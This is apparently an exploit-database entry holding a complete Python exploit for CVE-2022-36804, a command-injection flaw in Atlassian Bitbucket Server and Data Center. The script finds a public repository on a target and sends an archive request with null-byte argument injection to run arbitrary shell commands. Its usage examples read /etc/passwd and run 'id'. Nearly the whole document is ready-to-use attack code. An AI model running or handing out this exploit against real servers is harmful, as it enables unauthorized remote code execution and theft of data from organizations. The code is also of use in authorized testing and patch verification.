Bitbucket v7.0.0 – RCE
# Exploit Title: Bitbucket v7.0.0 - RCE # Date: 09-23-2022 # Exploit Author: khal4n1 # Vendor Homepage: https://github.com/khal4n1 # Tested on: Kali and ubuntu LTS 22.04 # CVE : cve-2022-36804 #****************************************************************# #The following exploit is used to exploit a vulnerability present #Atlassian Bitbucket Server and Data Center 7.0.0 before version #7.6.17, from version 7.7.0 before version 7.17.10, from version #7.18.0 before version 7.21.4, from version 8.0.0 before version #8.0.3, from version 8.1.0 before version 8.1.3, and from version #8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 #Usage Example # python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'cat /etc/passwd' # python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'id' #The server will send a 500 http response with the stout output from the # command executed. #****************************************************************# #!/usr/bin/python3 import argparse import urllib from urllib import request import re #argument setup parser = argparse.ArgumentParser(description='Program to test bitbucket vulnerability CVE-2022-36804') parser.add_argument("--url", help="Set the target to attack. [REQUIRED]", required=True ) parser.add_argument("--cmd", help="Set the command to execute. [DEFAULT ID]", required=True, default='id') args = parser.parse_args() cmd= urllib.parse.quote(args.cmd) #reads from the public repository what is available requ = request.urlopen(args.url+ "/repos?visibility=public") response = requ.read() #select a public project and stores it in a variable project = re.findall('7990/projects/(.*)/repos/', str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[-1] #Selects a public repo and stores it in a vatiable file = re.findall('/repos/(.*)/browse', str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[0] # Exploitation try : attack = request.urlopen(args.url + "/rest/api/latest/projects/" + project + "/repos/" + file + "/archive?prefix=ax%00--exec=%60"+cmd+"%60%00--remote=origin") print (attack.response()) except urllib.error.HTTPError as e: body = e.read().decode() # Read the body of the error response print (body) |